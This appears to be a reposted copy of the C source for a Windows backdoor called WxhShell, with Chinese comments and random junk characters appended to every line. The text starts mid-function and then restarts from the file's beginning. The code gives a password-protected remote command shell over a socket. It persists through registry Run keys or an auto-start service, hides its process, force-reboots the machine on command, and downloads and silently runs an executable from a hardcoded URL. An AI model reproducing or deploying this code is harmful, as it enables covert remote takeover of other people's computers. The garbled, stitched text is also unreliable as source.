    if(Boot(SHUTDOWN)) J`E,Xw>2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r{cefKJHg  
    else { ~4 ~c+^PF  
    closesocket(wsh); Jy#c 6  
    ExitThread(0); DFgQ1:6[  
    } v r=va5  
    break; fH-fEMyW  
    } v qt#JdPp9  
  // 获取shell '|I8byiK  
  case 's': { !lVOZ %  
    CmdShell(wsh); ^(j}'p,  
    closesocket(wsh); q,i&%  
    ExitThread(0);  hTEwp.  
    break; sf([8YUd  
  } $U_M|Xa  
  // 退出 Fy; sVB  
  case 'x': { e^LjB/<Th  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?*)Q[P5  
    CloseIt(wsh); <y S|\Z|  
    break; x|b52<dLL&  
    } ?*zDsQ  
  // 离开 z4qc)- {L  
  case 'q': { 5@lVuMIYT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lZ'WFFWLE  
    closesocket(wsh); ?XlPK Y  
    WSACleanup(); wD\viu q0  
    exit(1); \,AE5hnO  
    break; o7r7HmA@  
        } &E]<dmR  
  } W?F Q  
  } vg-Ah6BC{  
6~!QibA|P  
  // 提示信息 'OACbYgG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~n"?*I`  
} ? K,d  
  } $} @gR] Z  
)ZW[$:wA  
  return; I}jem  
} Q}: $F{  
8345 H  
// shell模块句柄 cBD#F$K2  
int CmdShell(SOCKET sock) M ZAz= )-  
{ &7 K=  
STARTUPINFO si; FN w0x6,~R  
ZeroMemory(&si,sizeof(si)); kz*6%Cg*~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kqz+:E8D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4J1_rMfh  
PROCESS_INFORMATION ProcessInfo; 3&!v"ms  
char cmdline[]="cmd"; GBl[s,g[|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FVxORQI  
  return 0; nWes,K6T  
} 6lPuYEmT  
9/`3=r@  
// 自身启动模式 x*sDp3f[*  
int StartFromService(void) %a?\y_a=b  
{ #tIeI6 Qw  
typedef struct ?Dl;DE1  
{ Yr*!T= z  
  DWORD ExitStatus; =)s~t|@v  
  DWORD PebBaseAddress; 2 :4o`o  
  DWORD AffinityMask; >V>`}TIH  
  DWORD BasePriority; >m:n6M'r  
  ULONG UniqueProcessId; g%V#Z`*|  
  ULONG InheritedFromUniqueProcessId; Q;s {M{u  
}   PROCESS_BASIC_INFORMATION; UcKVL zKs  
 )$GCur~  
PROCNTQSIP NtQueryInformationProcess; T/.UMw  
4H^ACw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1% C EUE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :-WNw n  
\:g\?[  
  HANDLE             hProcess; %^d<go^  
  PROCESS_BASIC_INFORMATION pbi; yEos$/*u-N  
rvU^W+d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /:^nG+  
  if(NULL == hInst ) return 0; I4|"Ztw  
Eg&:yF}?(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D@O5Gd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P3IBi_YyG1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }.pqV X{ d  
,6X__Z#rGT  
  if (!NtQueryInformationProcess) return 0; C=(Q0-+L|  
&uF~t |!c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q{_f"  
  if(!hProcess) return 0; vS"h`pL  
Qv`: E   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5rfDm  
JS/ChoU  
  CloseHandle(hProcess); d#XgO5eyO  
`K:n=hpF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eXD~L&s[  
if(hProcess==NULL) return 0; # S/n3  
'sXrtl7{^  
HMODULE hMod; @/?i|!6  
char procName[255]; nW^h +   
unsigned long cbNeeded; 6K )K%a,9  
xJAQ'ANr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `d^Q!QxE  
{]cr.y]\  
  CloseHandle(hProcess); :4-,Ru1C"  
pdR\Ne0P*  
if(strstr(procName,"services")) return 1; // 以服务启动 P 4t@BwU$  
5jso)`IL  
  return 0; // 注册表启动 9a=>gEF],@  
} /V{UTMSz  
(sQXfeMz  
// 主模块 7V8k =  
int StartWxhshell(LPSTR lpCmdLine) [OTn>/W'  
{ I|c!:4  
  SOCKET wsl; S5u$I  
BOOL val=TRUE; 8 AFc=Wx  
  int port=0; TE$6=;  
  struct sockaddr_in door; 9PA<g3z  
GS=E6  
  if(wscfg.ws_autoins) Install(); 3N-pND0>p  
~-6_-Y|  
port=atoi(lpCmdLine); #) :.1Z?  
\?R#ZxP@  
if(port<=0) port=wscfg.ws_port; [520!JhZY  
A-:k4] {%P  
  WSADATA data; \QC{38}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +B1&bOb  
* 30K}&T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h2T\%V_j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Li} 5aK  
  door.sin_family = AF_INET; k9OGnCW\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wEM=Tr/h  
  door.sin_port = htons(port); ~WTkX(\  
RC[Sa wA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #@OPi6.#!<  
closesocket(wsl); 2[Lv_<i|  
return 1; Ad>81=Z  
} -*4*hHmb  
YLQ0UeDN'  
  if(listen(wsl,2) == INVALID_SOCKET) { 0y,w\'j  
closesocket(wsl); yD7}  
return 1; K&%CeUa  
} s$>n U  
  Wxhshell(wsl); :K]7(y7>  
  WSACleanup(); z/xPI)R[  
f0 sGE5  
return 0; D)ri_w!Q  
CA0XcLiFt  
} <C&|8@A0  
vuPNru" 2  
// 以NT服务方式启动 Rv9jLH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O6G'!h\F  
{ ) yMrE T m  
DWORD   status = 0; lJ-PW\P  
  DWORD   specificError = 0xfffffff;  &Q~W{.  
}Cu[x'J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &N/t%q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B+`4UfB]Z}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gx9Os2Z|3  
  serviceStatus.dwWin32ExitCode     = 0; kaekH*m~  
  serviceStatus.dwServiceSpecificExitCode = 0; j0mN4Ny  
  serviceStatus.dwCheckPoint       = 0; R>"Fc/{y  
  serviceStatus.dwWaitHint       = 0; )Q =>7%ZA  
PmE)FthdP(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7:u+cv  
  if (hServiceStatusHandle==0) return; xz"60xxY  
p 4> ThpX  
status = GetLastError(); dn- [Gnde  
  if (status!=NO_ERROR) 7amVnR1f  
{ qXW\/NT"p<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %DKFF4k  
    serviceStatus.dwCheckPoint       = 0; 3MQZ)!6  
    serviceStatus.dwWaitHint       = 0; c("|xe  
    serviceStatus.dwWin32ExitCode     = status; gfg,V.:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ):! =XhQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aP  
    return; 2P"9m  
  } )FQ"l{P  
kKSGC?d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~U&NY7.@  
  serviceStatus.dwCheckPoint       = 0; eA4:]A"  
  serviceStatus.dwWaitHint       = 0; [v"Z2F<.=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vAUt~ X"  
} ;9T}h2^`B  
c}o 6Rm50  
// 处理NT服务事件,比如:启动、停止 /IUu-/ D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zok{ndO@|f  
{ `uMEK>b  
switch(fdwControl) /e'3\,2_  
{ 'V:Q :  
case SERVICE_CONTROL_STOP: :DN!1~ZtW  
  serviceStatus.dwWin32ExitCode = 0; dM-cQo:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yV{B,T`W  
  serviceStatus.dwCheckPoint   = 0; d+JK")$9C  
  serviceStatus.dwWaitHint     = 0; `$6o*g>:  
  { lhN@ ,q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S 5S\zTPIf  
  } p`Pa;=L  
  return; te+}j7SU  
case SERVICE_CONTROL_PAUSE: +FT c/r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b&z#ZY  
  break; ANhtz1Fl  
case SERVICE_CONTROL_CONTINUE: !/is+ xp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; > {*cW  
  break; cfLLFPhv)  
case SERVICE_CONTROL_INTERROGATE: I a&*JYM[  
  break; Xul`>8y|  
}; Bs~~C8+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B@,r8)D  
} r<`:Q]  
g&Vhu8kNIA  
// 标准应用程序主函数 bwsKdh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tDK@?PfKz  
{ m!V,W*RNr  
nh} Xu~#_  
// 获取操作系统版本 j_8 YFz5  
OsIsNt=GetOsVer(); sfM"!{7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )(}[S:`  
]EiM~n  
  // 从命令行安装 oB:7R^a  
  if(strpbrk(lpCmdLine,"iI")) Install(); >ED;_L*_o  
c+:ZmrP/  
  // 下载执行文件 0@ `]m  
if(wscfg.ws_downexe) { 0j$\k|xFXZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %F*9D3^h  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6V;Dcfvi  
} .p#kW:zspA  
VE |:k:};  
if(!OsIsNt) { @kYY1mv;  
// 如果时win9x,隐藏进程并且设置为注册表启动 jB LTEb  
HideProc(); V%,,GmiU]  
StartWxhshell(lpCmdLine); Wg-mJu(  
} EmNVQ1w  
else NQdwj>_a  
  if(StartFromService()) W5|{A])N  
  // 以服务方式启动 V._-iw]v  
  StartServiceCtrlDispatcher(DispatchTable); PQHztS"  
else L!Jx`zM^  
  // 普通方式启动 {*_Ln  
  StartWxhshell(lpCmdLine); X`8<;l  
=E-x0sr?  
return 0; 529; _|  
} Ia2WBs =  
_J,**AZ~z  
BtJkvg(2]  
8F sQLeOE  
=========================================== -)A:@+GF  
uYC^&siS<s  
579Q&|L.  
</I%VHP,[f  
;}B=g/C  
(hc!!:N~q  
" 1g;2e##)  
(Jq m9  
#include <stdio.h> %NLd"SV  
#include <string.h> ?$pNduE  
#include <windows.h> 5hE#y]pfN  
#include <winsock2.h> {z oGwB  
#include <winsvc.h> frcAXh9  
#include <urlmon.h> H I9/  
HNZ$CaJh  
#pragma comment (lib, "Ws2_32.lib") S^s-md>  
#pragma comment (lib, "urlmon.lib") l+;S$evY  
]}`t~#Irz  
#define MAX_USER   100 // 最大客户端连接数 U6JD^G=qR,  
#define BUF_SOCK   200 // sock buffer `^#Rwn#  
#define KEY_BUFF   255 // 输入 buffer h7]+#U]mi  
AbNr]w&pXC  
#define REBOOT     0   // 重启 'iMzp]V;  
#define SHUTDOWN   1   // 关机 FBE|pG7  
)CXlPbhY?  
#define DEF_PORT   5000 // 监听端口 {aE[h[=r  
?y|&Mz'XJ(  
#define REG_LEN     16   // 注册表键长度 shw?_#?1dy  
#define SVC_LEN     80   // NT服务名长度 AO<T6 VK  
<EnmH/C.  
// 从dll定义API d.}65{F,x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5Sl"1HL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z|K HF"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u^Cl s!C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cc${[yj)  
%)V=)l.j  
// wxhshell配置信息 .XgY&5Qk  
struct WSCFG { kQI'kL8>  
  int ws_port;         // 监听端口 Y*xgY*K  
  char ws_passstr[REG_LEN]; // 口令 Q & /5B  
  int ws_autoins;       // 安装标记, 1=yes 0=no gLMb,buqC  
  char ws_regname[REG_LEN]; // 注册表键名 J_F\cM   
  char ws_svcname[REG_LEN]; // 服务名 -3(*4)h7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A^lm0[3q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6$#,$aO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jP+{2)z"W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H[w';u[%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 39^+;Mev  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2-m@-  
S^R dj ]  
}; 9ad`q+kY  
a[ ;L+  
// default Wxhshell configuration KyIUz9$  
struct WSCFG wscfg={DEF_PORT, <=CABWO.  
    "xuhuanlingzhe", @Mg&T$  
    1, dr#%~I  
    "Wxhshell", fFEB#l!oUb  
    "Wxhshell", "3_X$`v"!  
            "WxhShell Service", 6b*xhu\  
    "Wrsky Windows CmdShell Service", )E9c6'd  
    "Please Input Your Password: ", ( x% 4*  
  1, v$ \<L|  
  "http://www.wrsky.com/wxhshell.exe", j hRr!  
  "Wxhshell.exe" yIiVhI?X  
    }; L=54uCv Q  
UDZ0ne0-  
// 消息定义模块 Y'1 KH}sH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z|KDi `S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N_Ezp68Fp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {$t*XTY6R  
char *msg_ws_ext="\n\rExit."; Q~.t8g/  
char *msg_ws_end="\n\rQuit."; }72\Aw5  
char *msg_ws_boot="\n\rReboot..."; ~jJ.E_i  
char *msg_ws_poff="\n\rShutdown..."; :}36;n<['  
char *msg_ws_down="\n\rSave to "; d@^%fVhG  
+hKU]DP2;  
char *msg_ws_err="\n\rErr!"; $S>bcsAy  
char *msg_ws_ok="\n\rOK!"; %J'/cmR&  
].Bx"L!B  
char ExeFile[MAX_PATH]; f5M;q;  
int nUser = 0; nN.Gn+Cl  
HANDLE handles[MAX_USER]; )AEtW[~D  
int OsIsNt; W4.w  
wIAH,3!  
SERVICE_STATUS       serviceStatus; 8wO4;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Unwh1VG  
H9'psv  
// 函数声明 Uufig)6  
int Install(void); UM0Ws|qx&  
int Uninstall(void); Q%~BD@Io  
int DownloadFile(char *sURL, SOCKET wsh); rF}Q(<Y86  
int Boot(int flag); Mb"y{Fox  
void HideProc(void); s% rmfIp"  
int GetOsVer(void); RIUJX{?  
int Wxhshell(SOCKET wsl);  mVS^HQ:  
void TalkWithClient(void *cs); m<#^c?u  
int CmdShell(SOCKET sock); THy?Y  
int StartFromService(void); uDJ;GD[yc  
int StartWxhshell(LPSTR lpCmdLine); E,ilJl\  
1D)0\#><  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y|wjt\M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _R]0S  
D=%1?8K  
// 数据结构和表定义 -B/'ArOo]  
SERVICE_TABLE_ENTRY DispatchTable[] = cGm?F,/`  
{ 9%SC#V'  
{wscfg.ws_svcname, NTServiceMain}, [f { qb\  
{NULL, NULL} WZHw(BN{+  
}; -Op^3WWyY  
p<\!{5:   
// 自我安装 `#W+pO  
int Install(void) N)D+FV29y  
{ Tc"J(GWG  
  char svExeFile[MAX_PATH]; u^MRKLn  
  HKEY key; vw:GNpg'R6  
  strcpy(svExeFile,ExeFile); RhB)AUAj  
~uq010lMno  
// 如果是win9x系统,修改注册表设为自启动 (f_YgQEL  
if(!OsIsNt) { rZ n@i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L58#ri=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x'\C'zeF  
  RegCloseKey(key); ?%~^PHgZ|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YL!{oHs4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 X/UyBk  
  RegCloseKey(key); i5Sya]FN  
  return 0; 1,h:|  
    } uh.;Jj;  
  } iFI+W<QR  
} 9,JM$ Y {  
else { uxDM #  
l"+8>Mm  
// 如果是NT以上系统,安装为系统服务 Ye$j43b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i\^4EQ  
if (schSCManager!=0) ]&P\|b1*g  
{ z7sDaZL?_  
  SC_HANDLE schService = CreateService uJH[C>  
  ( ZB)R4  
  schSCManager, L~;(M6Jp  
  wscfg.ws_svcname, Dj c-f  
  wscfg.ws_svcdisp, <},JWV3  
  SERVICE_ALL_ACCESS, %1jcY0zEQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =9 )k:S(  
  SERVICE_AUTO_START, !Tv3WQ@  
  SERVICE_ERROR_NORMAL, 1|"BpX~D  
  svExeFile, T_D] rMl  
  NULL, RzL(Gnb  
  NULL, 7p]Izx8][  
  NULL, %c\k LSe  
  NULL, ihwJBN>(  
  NULL 3Ji$igL  
  ); {]}94T~/k  
  if (schService!=0) YK6'/2!  
  { hchG\ i  
  CloseServiceHandle(schService); @j}%{Km]Y  
  CloseServiceHandle(schSCManager); x,U_x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9-{=m+|b  
  strcat(svExeFile,wscfg.ws_svcname); O8bxd6xb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yCN_vrH>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YcDKRyrt  
  RegCloseKey(key); egG<"e*W}N  
  return 0; HrsG^x  
    } xIa7F$R 0  
  } 37jxl+  
  CloseServiceHandle(schSCManager); 9>9EZ?4m  
} >god++,o  
} :[_ms d  
dV'EiNpf  
return 1; =gQ9>An  
} A)C)5W  
9)'f)60^  
// 自我卸载 (V jU,'h  
int Uninstall(void) ZzupK^5Z  
{ m]AT-]*f  
  HKEY key; 18Y#=uH}  
f2;.He  
if(!OsIsNt) { *$vH]>)p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k[ro[E  
  RegDeleteValue(key,wscfg.ws_regname); ,u2Qkw  
  RegCloseKey(key); s4"Os gP+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =zyA~}M2  
  RegDeleteValue(key,wscfg.ws_regname); vW=L{8zu  
  RegCloseKey(key); :HO5 T  
  return 0; qy3@> 1G  
  } 3@gsKtA&H4  
} }LT&BNZj  
} U;MXiE3D  
else { Eu`|8# [ W  
Q# B0JT1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s;Gd`-S>d  
if (schSCManager!=0) R2Fjv@Egk  
{ 'f-r 6'_ZX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z]]Ur  
  if (schService!=0) 1g{Pe`G,  
  { ! ;t\lgMl  
  if(DeleteService(schService)!=0) { sF{aG6u   
  CloseServiceHandle(schService); 5 aA* ~\  
  CloseServiceHandle(schSCManager); -[=eVS.2%  
  return 0; i3,IEN  
  } U-I,Q+[C[^  
  CloseServiceHandle(schService); }xk(aM_  
  } Wb-C0^dTn  
  CloseServiceHandle(schSCManager); X/,) KTo7  
} !@=S,Vc.  
} cs+3&T: ,*  
B{nwQC b  
return 1; Qq<@;4  
} e7RgA1  
0X=F(,>9  
// 从指定url下载文件 SO$Af!S:bB  
int DownloadFile(char *sURL, SOCKET wsh) f4"UI-8;n  
{ 7FG;fJ;&NZ  
  HRESULT hr; l-+=Yk!X  
char seps[]= "/"; >rCD5#DG  
char *token; K92j BR  
char *file; : {p'U2  
char myURL[MAX_PATH]; Jb QK$[z"  
char myFILE[MAX_PATH]; QqA=QTZ}  
!D#"+&&G8  
strcpy(myURL,sURL); =-h^j  
  token=strtok(myURL,seps); Y![Q1D!  
  while(token!=NULL) 4)S99|1  
  { SMEl'y  
    file=token; >h\y1IrAaG  
  token=strtok(NULL,seps); QyD0WC}i  
  } vMTf^V  
TN(Vzs%  
GetCurrentDirectory(MAX_PATH,myFILE); ZL( j5E  
strcat(myFILE, "\\"); *F\wWg'!B  
strcat(myFILE, file); U#jz5<r  
  send(wsh,myFILE,strlen(myFILE),0); tT}b_r7h(1  
send(wsh,"...",3,0); mZ+!8$1X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Gz!Bf@!!  
  if(hr==S_OK) *~vB6V|1  
return 0; PG&t~4QM`  
else F9fLJol  
return 1; $1yO Zp5  
g#5R|| r  
} u]yy%@U1  
m2PUU/8B/  
// 系统电源模块 p*;!5;OUR  
int Boot(int flag) `i.BB jx`  
{ ;b<w'A_1  
  HANDLE hToken; 7%*#M#(T  
  TOKEN_PRIVILEGES tkp; +:S `]  
lL D#|T3  
  if(OsIsNt) { BEDkyz;:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EXDDUqZ5\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1 G>Ud6(3<  
    tkp.PrivilegeCount = 1; d GUP|O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J"`VA_[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vV,TT%J8D  
if(flag==REBOOT) { 9\Ii$Mp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }y(t')=9  
  return 0; :u>RyKu|&R  
} AO-5>r  
else { gRLt0&Q~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FM {f{2j  
  return 0; K*~{M+lU7  
} ~y<0Cc3Vs  
  } )|~K&qn`  
  else { [D"6&  
if(flag==REBOOT) { _.5{vGyxr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H*=cw<  
  return 0; P5Xp #pa  
} |E8sw a  
else { -CvmZ:n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @6;OF5VsQ  
  return 0; *:%&z?<Fw  
} iLy^U*yK  
} #(^<qr   
PCT&d)}  
return 1; F2N"aQ&  
} x-%O1frc  
\{h_i FU!  
// win9x进程隐藏模块 Kb;*"@LX  
void HideProc(void) vk7IqlEQ  
{ _Ewh:IM-  
lp`j3)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ufXWK3~\  
  if ( hKernel != NULL ) 4|x _C-@  
  { v "l).G?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9z(SOzZn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +XWTu!  
    FreeLibrary(hKernel); ChiIQWFE  
  } N9-0b  
7KgaXi3r  
return; dz^HN`AlzC  
} A/y|pg5  
|4+'YgO  
// 获取操作系统版本 c.>f,vtcn  
int GetOsVer(void) byM%D$R  
{ Tvv>9gS  
  OSVERSIONINFO winfo; }?2X q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vu( 5s  
  GetVersionEx(&winfo); GCl *x:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ilL%  
  return 1;  q0ktABB  
  else ]xRR/S4  
  return 0; aE0R{yupZ  
} -6)nQNj|  
OU{c| O  
// 客户端句柄模块 An_(L*Qz  
int Wxhshell(SOCKET wsl) -mO#HZIq  
{ ,7V?K j  
  SOCKET wsh; "L.k m  
  struct sockaddr_in client; =-^A;AO(  
  DWORD myID; .>W [  
>/-H!jUF]  
  while(nUser<MAX_USER) "G%S m")  
{ WN]k+0#  
  int nSize=sizeof(client); YeCnk:_ kg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EMnz;/dMt  
  if(wsh==INVALID_SOCKET) return 1; j \r GU){  
y A5h^I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0[UI'2  
if(handles[nUser]==0) e6p3!)@P1  
  closesocket(wsh); ^: /c<(DQD  
else k -G9'c~  
  nUser++; tQ@7cjq8bA  
  } i6yA>#^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |mMsU,*gB  
:?~)P!/xl5  
  return 0; ;?q(8^A  
} 2#NnA3l]x%  
T[4xt,[a  
// 关闭 socket KKpM=MZ  
void CloseIt(SOCKET wsh) <Y6Vfee,&  
{ ~Bl,_?CBr  
closesocket(wsh); 0V6, &rTF  
nUser--; Y nnK]N;\x  
ExitThread(0); A< .5=E,/  
} n ^9?(a4u  
qt.4dTd:_  
// 客户端请求句柄 l!}gWd,H  
void TalkWithClient(void *cs) (}wPu&Is,C  
{ W?SAa7+  
`IlhLv  
  SOCKET wsh=(SOCKET)cs; >3&  
  char pwd[SVC_LEN]; Xc+YoA0Ez  
  char cmd[KEY_BUFF]; xJw" 8V<  
char chr[1]; UG44 oKB  
int i,j; <Z t]V`-  
psvc,V_*  
  while (nUser < MAX_USER) { g@x72$j  
L+ew/I>:  
if(wscfg.ws_passstr) { ^jL44? W}l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1/1oT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i|<wnJu  
  //ZeroMemory(pwd,KEY_BUFF); _*=4xmB.=  
      i=0; +|;Ri68  
  while(i<SVC_LEN) { w*"Ii%iA<  
1/\Xngd  
  // 设置超时 = mQY%l  
  fd_set FdRead; OqsuuE  
  struct timeval TimeOut; Ho}*Bn~ic  
  FD_ZERO(&FdRead); /Gnt.%y&  
  FD_SET(wsh,&FdRead); cq]0|\Vz  
  TimeOut.tv_sec=8; xK0;saG#  
  TimeOut.tv_usec=0; 6Jy%4]wK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8aQTm- {m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nq9pory^  
>r)UDa+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Vp&7OC]  
  pwd=chr[0]; c>c3qjWY/  
  if(chr[0]==0xd || chr[0]==0xa) { U(+QrC:  
  pwd=0; fWJOP sp*/  
  break; rp @%0/[  
  } n9 bp0#K  
  i++;  o4 "HE*  
    } 8WLh7[  
+R$;LtR  
  // 如果是非法用户,关闭 socket r_ m|?U %  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 41B.ZE+*qd  
} 3bLOT#t  
SANb g&$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qc'KQ5w7!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IY~I=}  
CXu$0DQ(  
while(1) { 5y='1s[%  
WSF$xC /~  
  ZeroMemory(cmd,KEY_BUFF); R/B/|x  
tOF8v8Hd  
      // 自动支持客户端 telnet标准   %;_EWs/z8  
  j=0; Ozulp(8*  
  while(j<KEY_BUFF) { (0_]=r=q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ss{5'SF)$c  
  cmd[j]=chr[0]; 9l[C&0w#\  
  if(chr[0]==0xa || chr[0]==0xd) { 6 P9#6mZ  
  cmd[j]=0; va(6?"9  
  break; cjLA7I.O  
  } /a$Zzs&xs  
  j++; N1>M<N03  
    } Q[!?SSX%  
E^w0X,0XlE  
  // 下载文件 2nFr?Y3g,  
  if(strstr(cmd,"http://")) { FAGi`X<L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~T._ v;IT  
  if(DownloadFile(cmd,wsh))  KI\ 9)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oY\;KPz  
  else ,ueA'GZ  
